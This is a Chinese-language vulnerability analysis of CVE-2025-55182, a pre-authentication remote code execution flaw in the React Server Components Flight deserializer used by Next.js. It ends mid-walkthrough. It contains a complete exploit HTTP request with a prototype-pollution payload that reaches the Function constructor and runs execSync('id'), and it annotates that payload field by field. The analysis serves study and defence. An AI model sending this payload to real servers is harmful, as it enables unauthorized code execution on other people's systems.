Post

CVE-2025-55182 React Server Components 反序列化漏洞原理深度分析

CVE-2025-55182 React Server Components 反序列化漏洞原理深度分析

一、漏洞概述

项目 内容
CVE编号 CVE-2025-55182
漏洞类型 远程代码执行 (RCE)
漏洞组件 React Flight Protocol (react-server-dom-webpack)
受影响版本 react-server-dom-webpack 19.0.0 - 19.2.0, Next.js 15.x/16.x
CVSS评分 9.8 (Critical)
认证要求 无需认证 (Pre-auth)

二、React Server Components 技术背景

2.1 什么是 React Server Components (RSC)

React Server Components 是 React 18+ 引入的一种新型组件模型,允许组件在服务端渲染并将结果流式传输到客户端。与传统 SSR 不同,RSC 可以:

  1. 直接访问服务端资源:数据库、文件系统、内部 API
  2. 减少客户端 JavaScript 体积:服务端组件代码不会发送到客户端
  3. 保持交互性:与客户端组件无缝协作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌─────────────────────────────────────────────────────────────────┐
│                    React Server Components 架构                  │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  ┌──────────────┐         ┌──────────────┐                      │
│  │   Browser    │ ←─────→ │   Server     │                      │
│  │              │  HTTP   │              │                      │
│  │ ┌──────────┐ │         │ ┌──────────┐ │                      │
│  │ │ Client   │ │         │ │ Server   │ │                      │
│  │ │Components│ │         │ │Components│ │                      │
│  │ └──────────┘ │         │ └──────────┘ │                      │
│  │      ↑       │         │      ↓       │                      │
│  │      │       │         │  ┌────────┐  │                      │
│  │      └───────┼─────────┼──│ Flight │  │                      │
│  │   Flight     │         │  │Protocol│  │                      │
│  │   Protocol   │         │  └────────┘  │                      │
│  └──────────────┘         └──────────────┘                      │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

2.2 什么是 React Server Functions (Server Actions)

Server Functions(在 Next.js 中称为 Server Actions)是 React 19 引入的 RPC-over-HTTP 机制,允许客户端像调用本地函数一样调用服务端函数。

2.2.1 Server Function 定义方式

1
2
3
4
5
6
7
8
9
// app/actions.js
'use server'  // 标记为 Server Function

export async function submitForm(formData) {
    // 这段代码只在服务端执行
    const name = formData.get('name');
    await db.users.create({ name });
    return { success: true };
}

2.2.2 客户端调用方式

1
2
3
4
5
6
7
8
9
10
11
12
13
// app/page.jsx (Client Component)
'use client'
import { submitForm } from './actions';

export default function Form() {
    async function handleSubmit(e) {
        e.preventDefault();
        const formData = new FormData(e.target);
        // 看起来像本地调用,实际是 HTTP POST
        const result = await submitForm(formData);
    }
    return <form onSubmit={handleSubmit}>...</form>;
}

2.2.3 底层通信机制

当客户端调用 submitForm(formData) 时,React 实际执行:

1
2
3
4
5
6
7
8
1. 客户端序列化参数 → Flight Protocol 格式
2. 发送 HTTP POST 请求到当前页面 URL
3. 请求头包含 Next-Action: <action-id>
4. 请求体是 multipart/form-data(Flight 格式)
5. 服务端反序列化参数
6. 执行对应的 Server Function
7. 序列化返回值 → Flight Protocol 格式
8. 客户端反序列化结果

2.3 Server Action 请求格式详解

2.3.1 HTTP 请求结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /page-url HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxk
Next-Action: 1a2b3c4d5e6f7890abcdef1234567890abcdef12
Next-Router-State-Tree: [encoded-tree]

------WebKitFormBoundary7MA4YWxk
Content-Disposition: form-data; name="1_$ACTION_ID_1a2b3c..."

------WebKitFormBoundary7MA4YWxk
Content-Disposition: form-data; name="0"

["$K1"]
------WebKitFormBoundary7MA4YWxk--

2.3.2 关键 HTTP 头

Header 说明 示例
Next-Action Server Action 的唯一标识符(40字符哈希) 1a2b3c4d...
Content-Type 必须是 multipart/form-data multipart/form-data; boundary=...
Next-Router-State-Tree 路由状态(可选) [encoded]

2.3.3 Action ID 的生成

Action ID 是 Server Function 的唯一标识符,由以下因素计算:

1
2
3
4
5
6
7
// Next.js 内部生成逻辑(简化)
actionId = hash(
    filePath +          // 文件路径: "app/actions.js"
    exportName +        // 导出名: "submitForm"
    functionBody        // 函数体哈希
);
// 结果: "1a2b3c4d5e6f7890abcdef1234567890abcdef12"

tips: Next.js 只有知道有效 Action ID 的请求才是合法的。但 CVE-2025-55182 这个漏洞在验证 Action ID 之前就触发了。


三、React Flight Protocol 深度解析

3.1 什么是 Flight Protocol

Flight 是 React 团队设计的自定义流式序列化协议,用于在服务端和客户端之间传输 React 组件树、数据和引用。它是 React Server Components 的核心通信机制。

3.1.1 设计目标

目标 说明
流式传输 支持边渲染边传输,无需等待完整响应
引用共享 相同数据只传输一次,通过 ID 引用
类型保留 保留 React 特有类型(Promise、组件、函数引用等)
紧凑高效 比纯 JSON 更紧凑,减少传输体积
双向支持 服务端→客户端(渲染)和客户端→服务端(Server Actions)

3.1.2 Flight vs JSON

1
2
3
4
5
6
7
8
9
10
// 普通 JSON - 无法表示引用、Promise、函数等
{
    "user": {"name": "Alice"},
    "posts": [{"author": {"name": "Alice"}}]  // user 重复传输
}

// Flight 协议 - 支持引用共享
0:{"name":"Alice"}           // Chunk 0: user 对象
1:{"author":"$0"}            // Chunk 1: 引用 Chunk 0
2:{"user":"$0","posts":["$1"]}  // Chunk 2: 根对象

3.1.3 Flight 在 Next.js 中的使用场景

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌─────────────────────────────────────────────────────────────────────────┐
│                    Flight 协议使用场景                                   │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                          │
│  场景 1: 页面渲染 (Server → Client)                                     │
│  ┌────────────┐     Flight Response      ┌────────────┐                │
│  │   Server   │ ─────────────────────→  │   Client   │                │
│  │ Components │   (组件树 + 数据)        │   Hydrate  │                │
│  └────────────┘                          └────────────┘                │
│                                                                          │
│  场景 2: Server Actions (Client → Server → Client)                      │
│  ┌────────────┐     Flight Request       ┌────────────┐                │
│  │   Client   │ ─────────────────────→  │   Server   │                │
│  │   Action   │   (函数参数)             │   Action   │                │
│  └────────────┘                          └────────────┘                │
│        ↑                                       │                        │
│        │           Flight Response             │                        │
│        └───────────────────────────────────────┘                        │
│                    (返回值)                                              │
│                                                                          │
└─────────────────────────────────────────────────────────────────────────┘

3.2 Flight 数据格式

3.2.1 基本行格式

Flight 响应是多行文本流,每行格式为:

1
<id>:<type><data>
部分 说明 示例
id Chunk 的数字标识符 0, 1, 42
type 单字符类型标识(可选) I, H, :, S, E
data JSON 或特殊格式数据 {"name":"test"}

3.2.2 常见类型标识

类型 含义 示例
(无) 模型数据(JSON) 0:{"name":"Alice"}
I 模块导入 0:I{"id":"./page.js","name":"default"}
H 提示/指令 0:H["prefetch","/api"]
S Symbol 0:S"react.element"
E 错误 0:E{"message":"Error"}

3.2.3 完整 Flight 响应示例

1
2
3
4
0:I{"id":"./app/page.js","name":"default","chunks":["app/page"]}
1:{"name":"Alice","age":25}
2:["$","div",null,{"children":[["$","h1",null,{"children":"Hello"}],"$L3"]}]
3:{"user":"$1","loading":false}

解读

  • 行 0: 模块导入指令,加载 ./app/page.js
  • 行 1: 用户数据对象
  • 行 2: React 元素树,$L3 是延迟加载引用
  • 行 3: 页面状态,$1 引用行 1 的用户数据

3.3 Chunk 系统详解

3.3.1 什么是 Chunk

Chunk(块)是 Flight 协议的核心数据单位。每个 Chunk:

  • 有唯一的数字 ID
  • 有状态(pending → resolved → fulfilled/rejected)
  • 可以通过 $ 引用其他 Chunk
  • 实现了 thenable 接口(类似 Promise)

3.3.2 Chunk 状态机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌─────────────────────────────────────────────────────────────────────────┐
│                         Chunk 状态转换图                                 │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                          │
│              ┌─────────────┐                                            │
│              │   pending   │ ← 初始状态,等待数据到达                    │
│              └──────┬──────┘                                            │
│                     │                                                    │
│                     │ 收到 Flight 行数据                                 │
│                     ▼                                                    │
│           ┌─────────────────┐                                           │
│           │ resolved_model  │ ← 有原始 JSON 字符串,待解析               │
│           └────────┬────────┘                                           │
│                    │                                                     │
│                    │ 被 await 或访问 .value 时                           │
│                    │ 调用 initializeModelChunk()                         │
│                    ▼                                                     │
│     ┌──────────────────────────────────────────┐                        │
│     │                                          │                        │
│     ▼                                          ▼                        │
│ ┌─────────────┐                        ┌─────────────┐                  │
│ │  fulfilled  │ ← 解析成功,有最终值    │  rejected   │ ← 解析失败       │
│ │             │                        │             │                  │
│ │ chunk.value │                        │chunk.reason │                  │
│ │ = 解析结果  │                        │ = Error     │                  │
│ └─────────────┘                        └─────────────┘                  │
│                                                                          │
└─────────────────────────────────────────────────────────────────────────┘

3.3.3 Chunk 内部数据结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// React 源码: packages/react-client/src/ReactFlightClient.js

// Chunk 本质是一个 ReactPromise 对象
function ReactPromise(status, value, reason, response) {
    this.status = status;      // "pending" | "resolved_model" | "fulfilled" | "rejected"
    this.value = value;        // pending 时是监听器数组,fulfilled 时是解析结果
    this.reason = reason;      // pending 时是监听器数组,rejected 时是错误
    this._response = response; // 所属的 Response 对象
}

// Chunk 继承 Promise 行为
ReactPromise.prototype = Object.create(Promise.prototype);

// 关键的 then 方法实现
ReactPromise.prototype.then = function(resolve, reject) {
    var chunk = this;
    switch (chunk.status) {
        case "fulfilled":
            resolve(chunk.value);
            break;

        case "pending":
        case "blocked":
            // 添加到监听器队列
            if (resolve) chunk.value.push(resolve);
            if (reject) chunk.reason.push(reject);
            break;

        case "resolved_model":
            // ⚠️ 关键:触发解析
            initializeModelChunk(chunk);
            // 解析后递归处理
            chunk.then(resolve, reject);
            break;

        case "rejected":
            reject(chunk.reason);
            break;
    }
};

3.3.4 Response 对象

每个 Flight 解析会话有一个 Response 对象,管理所有 Chunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function createResponse(bundlerConfig, formData, prefix) {
    return {
        _bundlerConfig: bundlerConfig,  // Webpack/Turbopack 配置
        _formData: formData,            // 原始 FormData(Server Action)
        _prefix: prefix,                // Chunk ID 前缀
        _chunks: new Map(),             // id → Chunk 映射
        _closed: false,                 // 流是否关闭
        _closedReason: null,            // 关闭原因
    };
}

// 从 Response 获取或创建 Chunk
function getChunk(response, id) {
    let chunk = response._chunks.get(id);
    if (!chunk) {
        // 从 FormData 获取数据
        const data = response._formData.get(response._prefix + id);
        if (data != null) {
            chunk = new ReactPromise("resolved_model", data, id, response);
        } else {
            chunk = new ReactPromise("pending", [], [], response);
        }
        response._chunks.set(id, chunk);
    }
    return chunk;
}

3.4 特殊引用前缀系统

Flight 协议使用 $ 前缀系统来表示特殊值。当解析 JSON 时,如果字符串以 $ 开头,会进行特殊处理。

3.4.1 完整前缀列表

前缀 名称 语法 作用 处理逻辑
$ Chunk 引用 "$123" 引用 chunk 123 的解析值 getChunk(123).value
$@ 原始 Chunk "$@123" 获取 chunk 对象本身 getChunk(123) (不解引用)
$L Lazy 引用 "$L123" 惰性加载的 chunk 返回 lazy wrapper
$F Server Function "$F123" 服务端函数引用 创建代理函数
$B Blob 数据 "$B123" 二进制数据 formData.get(prefix + "123")
$K FormData "$K123" FormData 引用 解析 FormData
$Q Map 引用 "$Q123" Map 数据结构 解析为 Map
$W Set 引用 "$W123" Set 数据结构 解析为 Set
$n Number "$n123" 大数字 BigInt(123)
$u undefined "$undefined" undefined 值 undefined
$D Date "$D2024-01-01" 日期对象 new Date(...)
$$ 转义 "$$abc" 字面量 $abc "$abc" (去掉一个 $)

3.4.2 链式属性访问语法

除了简单引用,Flight 还支持链式属性访问:

1
2
3
// 语法: "$<chunkId>:<key1>:<key2>:..."
// 示例: "$1:user:profile:name"
// 等价于: getChunk(1).value.user.profile.name

解析代码(漏洞所在):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function parseModelString(response, parentObj, key, value) {
    if (value[0] === '$') {
        switch (value[1]) {
            case '$':
                return value.slice(1);  // 转义
            case '@':
                // 原始 chunk 引用
                return getChunk(response, parseInt(value.slice(2), 16));
            case 'B':
                // Blob 处理 ⚠️ 攻击利用点
                var id = parseInt(value.slice(2), 16);
                return response._formData.get(response._prefix + id);
            // ... 其他类型
            default:
                // 链式引用: "$1:key1:key2"
                var ref = value.slice(1);
                var colonIdx = ref.indexOf(':');
                if (colonIdx > -1) {
                    var id = parseInt(ref.slice(0, colonIdx), 16);
                    var path = ref.slice(colonIdx + 1);
                    var chunk = getChunk(response, id);
                    // ⚠️ 漏洞: 直接访问属性链,无 hasOwnProperty 检查
                    return loadServerReference(chunk, path);
                }
                return getChunk(response, parseInt(ref, 16));
        }
    }
    return value;
}

3.4.3 $ vs $@ 的本质区别

这是理解漏洞的关键:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 假设 Chunk 0 的原始数据是: '{"name": "Alice"}'

// ===== "$0" - 普通引用 =====
// 返回解析后的 JavaScript 值
parseModelString("$0")
// 执行流程:
//   1. getChunk(0) → Chunk 对象
//   2. 如果 status 是 "resolved_model",调用 initializeModelChunk
//   3. 返回 chunk.value (解析后的值)
// 结果: { name: "Alice" }  ← 普通 JS 对象

// ===== "$@0" - 原始 Chunk 引用 =====
// 返回 Chunk 对象本身,不解析
parseModelString("$@0")
// 执行流程:
//   1. getChunk(0) → Chunk 对象
//   2. 直接返回(不调用 initializeModelChunk)
// 结果:
ReactPromise {
    status: "resolved_model",
    value: '{"name": "Alice"}',
    reason: null,
    _response: Response {...},
    __proto__: ReactPromise.prototype  // ⚠️ 可访问原型链!
}

安全影响: $@ 让攻击者能获取内部 Chunk 对象,从而访问:

  • Chunk.__proto__ReactPromise.prototype
  • Chunk.__proto__.thenReactPromise.prototype.then 方法
  • Chunk.__proto__.constructorObjectFunction

3.5 关键函数详解

3.5.1 getChunk - 获取或创建 Chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function getChunk(response, id) {
    var chunks = response._chunks;
    var chunk = chunks.get(id);

    if (!chunk) {
        // Chunk 不存在,尝试从 FormData 获取
        var formData = response._formData;
        if (formData) {
            var data = formData.get(response._prefix + id);
            if (data != null) {
                // 创建 resolved_model 状态的 Chunk
                chunk = new ReactPromise(
                    "resolved_model",  // status
                    data,              // value (原始 JSON 字符串)
                    id,                // reason (这里存 id)
                    response           // response
                );
            }
        }
        if (!chunk) {
            // 创建 pending 状态的 Chunk
            chunk = createPendingChunk(response);
        }
        chunks.set(id, chunk);
    }
    return chunk;
}

漏洞利用点: 攻击者通过 FormData 提供的数据会被直接用于创建 Chunk,data 参数完全可控。

3.5.2 initializeModelChunk - 解析 JSON 模型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function initializeModelChunk(chunk) {
    var response = chunk._response;
    var value = chunk.value;  // 原始 JSON 字符串

    try {
        // 解析 JSON,过程中处理 $ 引用
        var parsed = parseModel(response, value);

        // 更新 Chunk 状态
        chunk.status = "fulfilled";
        chunk.value = parsed;
    } catch (error) {
        chunk.status = "rejected";
        chunk.reason = error;
    }
}

攻击利用: 攻击者可以构造特殊的 JSON,让 parseModel 执行危险操作。

3.5.3 ReactPromise.prototype.then - thenable 接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ReactPromise.prototype.then = function(resolve, reject) {
    var chunk = this;

    switch (chunk.status) {
        case "fulfilled":
            // 已解析,直接返回值
            if (resolve) resolve(chunk.value);
            break;

        case "pending":
        case "blocked":
            // 等待中,注册回调
            if (resolve) chunk.value.push(resolve);
            if (reject) chunk.reason.push(reject);
            break;

        case "resolved_model":
            // ⚠️ 关键: 需要解析
            initializeModelChunk(chunk);
            // 解析后递归处理
            if (chunk.status === "fulfilled") {
                if (resolve) resolve(chunk.value);
            } else if (chunk.status === "rejected") {
                if (reject) reject(chunk.reason);
            }
            break;

        case "rejected":
            if (reject) reject(chunk.reason);
            break;
    }
};

攻击利用: 当 await 一个 thenable 对象时,JavaScript 会调用其 then 方法。攻击者构造一个假 Chunk 对象,设置 status: "resolved_model" 和恶意 value,当被 await 时会触发 initializeModelChunk


四、漏洞根本原因深度分析

4.1 漏洞位置

漏洞存在于 react-server-dom-webpack 包的 Flight 协议解析代码中,具体在处理链式属性引用时。

4.2 漏洞代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 简化的漏洞代码
function loadServerReference(chunk, path) {
    // path = "key1:key2:key3"
    var keys = path.split(':');
    var value = chunk.value;  // 起始值

    for (var i = 0; i < keys.length; i++) {
        var key = keys[i];
        // ⚠️ 漏洞: 直接使用方括号访问
        // 没有检查 key 是否是对象自身属性
        value = value[key];
    }

    return value;
}

4.3 为什么缺少 hasOwnProperty 是危险的

4.3.1 JavaScript 原型链基础

1
2
3
4
5
6
7
8
9
10
11
12
13
const obj = { name: "test" };

// 自身属性
obj.name                    // "test"
obj.hasOwnProperty("name")  // true

// 继承属性(来自原型链)
obj.toString                // [Function: toString]
obj.hasOwnProperty("toString")  // false ← 不是自身属性

// __proto__ 是特殊属性
obj.__proto__               // Object.prototype
obj.hasOwnProperty("__proto__")  // false

4.3.2 攻击者如何利用

1
2
3
4
5
6
7
8
9
10
11
12
13
// 正常访问
obj["name"]                 // "test" ✓

// 攻击者输入 "__proto__"
obj["__proto__"]            // Object.prototype ← 访问到原型!
obj["__proto__"]["constructor"]  // Object
obj["__proto__"]["constructor"]["constructor"]  // Function!

// 有 hasOwnProperty 检查时
if (obj.hasOwnProperty("__proto__")) {
    return obj["__proto__"];
}
// 不会执行,因为 __proto__ 不是自身属性

4.4 原型链攻击向量

4.4.1 获取 Function 构造函数

1
2
3
4
5
6
7
8
9
10
11
12
13
// 任意对象都可以通过原型链获取 Function
const anyObj = {};

anyObj.__proto__                          // Object.prototype
      .constructor                        // Object
      .constructor                        // Function ← 获得!

// 或者更直接
anyObj.constructor.constructor            // Function

// 利用 Function 执行代码
const evil = Function("return process.mainModule.require('child_process').execSync('id')");
evil();  // 执行系统命令

4.4.2 获取 Chunk.prototype.then

这是漏洞利用的精妙之处:

1
2
3
4
5
6
7
8
9
10
11
// Chunk 1 的值设为 "$@0"(原始 Chunk 引用)
// 解析后,Chunk 1 的 value 是 Chunk 0 对象本身

// 当访问 "$1:__proto__:then" 时:
const chunk1Value = parseModelString("$@0");
// chunk1Value = ReactPromise { status, value, ... }

chunk1Value.__proto__              // ReactPromise.prototype
           .then                   // ReactPromise.prototype.then 方法!

// 现在攻击者可以把这个方法赋给伪造对象的 then 属性

4.5 完整攻击原语

通过原型链,攻击者可以获取:

引用路径 获得的值 用途
$1:__proto__:then Chunk.prototype.then 让伪造对象成为合法 thenable
$1:constructor:constructor Function 动态创建并执行代码
$1:__proto__:constructor Object 获取 Object 构造函数
$1:__proto__:constructor:prototype Object.prototype 访问所有对象的原型

五、完整利用链详解

5.1 攻击目标

攻击者的最终目标是在服务端执行任意代码。要实现这一目标,需要:

  1. 获取 Function 构造函数 - 用于动态创建可执行代码
  2. 找到一个”调用点” - 让创建的函数被执行
  3. 绑定恶意代码 - 将要执行的命令传入 Function

5.2 攻击请求结构

5.2.1 完整 HTTP 请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST / HTTP/1.1
Host: vulnerable-nextjs-app.com
Content-Type: multipart/form-data; boundary=----FormBoundary
Next-Action: x

------FormBoundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"throw new Error(require('child_process').execSync('id').toString());","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------FormBoundary
Content-Disposition: form-data; name="1"

"$@0"
------FormBoundary
Content-Disposition: form-data; name="2"

[]
------FormBoundary--

5.2.2 请求头分析

Header 作用
Content-Type multipart/form-data Flight 协议使用 FormData 传输
Next-Action x 任意值,触发 Server Action 处理流程

关键点: Next-Action: x 不是有效的 Action ID,但漏洞在验证 Action ID 之前就触发了!

5.3 Payload 结构深度解析

攻击 payload 由 3 个 Chunk 组成,每个都有特定作用:

5.3.1 Chunk 0 - 伪造的 Chunk 对象(核心 Payload)

1
2
3
4
5
6
7
8
9
10
11
12
13
{
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
        "_prefix": "throw new Error(require('child_process').execSync('id').toString());",
        "_chunks": "$Q2",
        "_formData": {
            "get": "$1:constructor:constructor"
        }
    }
}

各字段详细解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
┌─────────────────────────────────────────────────────────────────────────┐
│ 字段: "then": "$1:__proto__:then"                                       │
├─────────────────────────────────────────────────────────────────────────┤
│ 目的: 让伪造对象拥有真正的 Chunk.prototype.then 方法                      │
│                                                                          │
│ 解析过程:                                                                │
│   "$1:__proto__:then"                                                   │
│     ↓ 解析 $1                                                           │
│   getChunk(1).value = "$@0" 的解析结果 = Chunk 0 对象本身                │
│     ↓ 访问 __proto__                                                    │
│   Chunk 0 对象.__proto__ = ReactPromise.prototype                       │
│     ↓ 访问 then                                                         │
│   ReactPromise.prototype.then = 真正的 then 方法 ✓                      │
│                                                                          │
│ 结果: 伪造对象的 then 属性 = ReactPromise.prototype.then                 │
│       这让伪造对象成为一个"合法"的 thenable                              │
└─────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────┐
│ 字段: "status": "resolved_model"                                        │
├─────────────────────────────────────────────────────────────────────────┤
│ 目的: 当 then() 被调用时,触发 initializeModelChunk()                    │
│                                                                          │
│ 原理: ReactPromise.prototype.then 的实现:                               │
│   switch (this.status) {                                                │
│       case "resolved_model":                                            │
│           initializeModelChunk(this);  // ← 会被触发!                  │
│           break;                                                        │
│   }                                                                     │
│                                                                          │
│ 结果: await 伪造对象时,会解析其 value 字段                              │
└─────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────┐
│ 字段: "reason": -1                                                      │
├─────────────────────────────────────────────────────────────────────────┤
│ 目的: 某些代码路径检查此字段,-1 避免类型错误                            │
└─────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────┐
│ 字段: "value": "{\"then\":\"$B1337\"}"                                  │
├─────────────────────────────────────────────────────────────────────────┤
│ 目的: 内层 payload,被 initializeModelChunk 解析                         │
│                                                                          │
│ 内容: {"then": "$B1337"}                                                │
│                                                                          │
│ 解析后: { then: <$B1337 的结果> }                                       │
│                                                                          │
│ $B1337 的处理:                                                          │
│   case 'B':                                                             │
│       return response._formData.get(response._prefix + "1337");         │
│                                                                          │
│ 由于 _formData.get = Function, _prefix = "恶意代码;"                    │
│ 所以: Function("恶意代码;1337") → 返回一个函数                          │
│                                                                          │
│ 最终: value 解析为 { then: <恶意函数> }                                 │
│       这是一个 thenable,被 await 时会执行 then()                       │
└─────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────┐
│ 字段: "_response": {...}                                                │
├─────────────────────────────────────────────────────────────────────────┤
│ 目的: 伪造的 Response 对象,initializeModelChunk 会使用它               │
│                                                                          │
│ 子字段:                                                                 │
│                                                                          │
│ "_prefix": "throw new Error(require('child_process').execSync('id')...);│
│   → 要执行的恶意代码(不以分号结尾,因为会拼接 ID)                      │
│                                                                          │
│ "_chunks": "$Q2"                                                        │
│   → 指向空数组,避免遍历 _chunks 时报错                                  │
│                                                                          │
│ "_formData": {"get": "$1:constructor:constructor"}                      │
│   → get 属性 = Function 构造函数                                        │
│   → 解析: getChunk(1) → Chunk0对象 → constructor → Object → constructor │
│                                      → Function                          │
└─────────────────────────────────────────────────────────────────────────┘

5.3.2 Chunk 1 - 原始 Chunk 引用

1
"$@0"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌─────────────────────────────────────────────────────────────────────────┐
│ 解析: "$@0"                                                             │
├─────────────────────────────────────────────────────────────────────────┤
│ $@ 前缀表示"获取原始 Chunk 对象"                                        │
│                                                                          │
│ 返回值: Chunk 0 的 ReactPromise 对象本身(不是解析后的值)               │
│                                                                          │
│ 结构:                                                                   │
│ ReactPromise {                                                          │
│     status: "resolved_model",                                           │
│     value: '{"then":"$1:__proto__:then",...}',                         │
│     _response: Response {...},                                          │
│     __proto__: ReactPromise.prototype  ← 可访问原型链!                 │
│ }                                                                       │
│                                                                          │
│ 用途:                                                                   │
│   1. $1:__proto__:then → 获取 ReactPromise.prototype.then               │
│   2. $1:constructor:constructor → 获取 Function 构造函数               │
└─────────────────────────────────────────────────────────────────────────┘

5.3.3 Chunk 2 - 空数组

1
[]
1
2
3
4
5
6
┌─────────────────────────────────────────────────────────────────────────┐
│ 用途: 作为 _chunks 的值(通过 $Q2 引用)                                 │
├─────────────────────────────────────────────────────────────────────────┤
│ 原因: initializeModelChunk 可能会迭代 _response._chunks                 │
│       提供空数组避免迭代时出现类型错误                                   │
└─────────────────────────────────────────────────────────────────────────┘

5.4 利用流程 - 逐步执行分析

步骤 1: 请求进入 Next.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// next/dist/server/app-render/action-handler.js
export async function handleAction(req, res, ...) {
    // 1. 检查是否是 Server Action 请求
    const actionId = req.headers['next-action'];  // "x"
    if (!actionId) return;  // 不是 Action 请求

    // 2. ⚠️ 关键: 先反序列化,再验证 Action ID
    let boundActionArguments;
    if (isMultipartAction) {
        // 使用 Busboy 解析 multipart 数据
        const formData = await parseMultipartFormData(req);
        // 调用 Flight 协议反序列化
        boundActionArguments = await decodeReplyFromBusboy(formData);
        // ↑ 漏洞在这里触发,程序不会执行到下面
    }

    // 3. 验证 Action ID(永远不会执行到)
    const action = await getAction(actionId);
    if (!action) {
        throw new Error('Invalid Server Action');
    }
}

关键: 反序列化发生在验证 Action ID 之前,这是 Pre-auth 的原因。

步骤 2: Flight 协议开始解析

1
2
3
4
5
6
7
8
9
10
11
// react-server-dom-webpack/src/ReactFlightDOMServerNode.js
function decodeReplyFromBusboy(formData) {
    // 创建 Response 对象
    const response = createResponse(bundlerConfig, formData, "");

    // 获取根 Chunk (ID=0)
    const root = getChunk(response, 0);

    // 返回 root,它是一个 thenable
    return root;
}

步骤 3: getChunk 创建 Chunk 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function getChunk(response, id) {  // id = 0
    let chunk = response._chunks.get(id);  // undefined

    if (!chunk) {
        // 从 FormData 获取数据
        const data = response._formData.get("0");
        // data = '{"then":"$1:__proto__:then",...}'

        // 创建 Chunk
        chunk = new ReactPromise(
            "resolved_model",  // status
            data,              // value = 恶意 JSON 字符串
            0,                 // reason = id
            response           // response
        );

        response._chunks.set(0, chunk);
    }
    return chunk;  // 返回 Chunk 0
}

步骤 4: await 触发 then()

1
2
3
4
5
6
7
// 在 action-handler.js 中
const args = await decodeReplyFromBusboy(formData);
//            ↑ await 一个 thenable 会调用其 then 方法

// 实际执行:
chunk0.then(resolve, reject);
// chunk0 是真正的 ReactPromise,所以调用 ReactPromise.prototype.then

步骤 5: initializeModelChunk 被调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// ReactPromise.prototype.then
Chunk.prototype.then = function(resolve, reject) {
    switch (this.status) {  // "resolved_model"
        case "resolved_model":
            initializeModelChunk(this);  // ← 触发!
            break;
    }
};

// initializeModelChunk
function initializeModelChunk(chunk) {
    const response = chunk._response;  // 真正的 Response
    const json = chunk.value;  // '{"then":"$1:__proto__:then",...}'

    // 解析 JSON
    const parsed = parseModel(response, json);
    // parsed = 伪造的 Chunk 对象

    chunk.status = "fulfilled";
    chunk.value = parsed;
}

步骤 6: 解析 Chunk 0 的 JSON - 获取 Chunk.prototype.then

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// parseModel 解析 JSON,遇到 "$1:__proto__:then"
function parseModelString(response, value) {
    // value = "$1:__proto__:then"

    if (value[0] === '$') {
        // 解析链式引用
        var ref = value.slice(1);  // "1:__proto__:then"
        var colonIdx = ref.indexOf(':');  // 1
        var id = parseInt(ref.slice(0, colonIdx));  // 1
        var path = ref.slice(colonIdx + 1);  // "__proto__:then"

        // 获取 Chunk 1
        var chunk1 = getChunk(response, 1);
        // Chunk 1 的 value = '"$@0"'
        // 解析后 = Chunk 0 对象本身

        var value = resolveChunk(chunk1);  // Chunk 0 对象

        // 遍历路径 "__proto__:then"
        var keys = path.split(':');  // ["__proto__", "then"]

        for (var key of keys) {
            value = value[key];  // ⚠️ 没有 hasOwnProperty 检查!
        }
        // value["__proto__"] = ReactPromise.prototype
        // value["then"] = ReactPromise.prototype.then

        return value;  // 返回真正的 then 方法!
    }
}

步骤 7: 解析 _response._formData.get - 获取 Function

1
2
3
4
5
6
7
8
// 解析 "$1:constructor:constructor"
var chunk1Value = resolveChunk(getChunk(1));  // Chunk 0 对象
var value = chunk1Value;

value = value["constructor"];  // Object (因为 Chunk 0 是对象)
value = value["constructor"];  // Function!

// 现在 _formData.get = Function 构造函数

步骤 8: 构建完成的伪造对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 解析完成后,Chunk 0 的 value 变成:
const fakeChunk = {
    then: ReactPromise.prototype.then,  // 真正的 then 方法
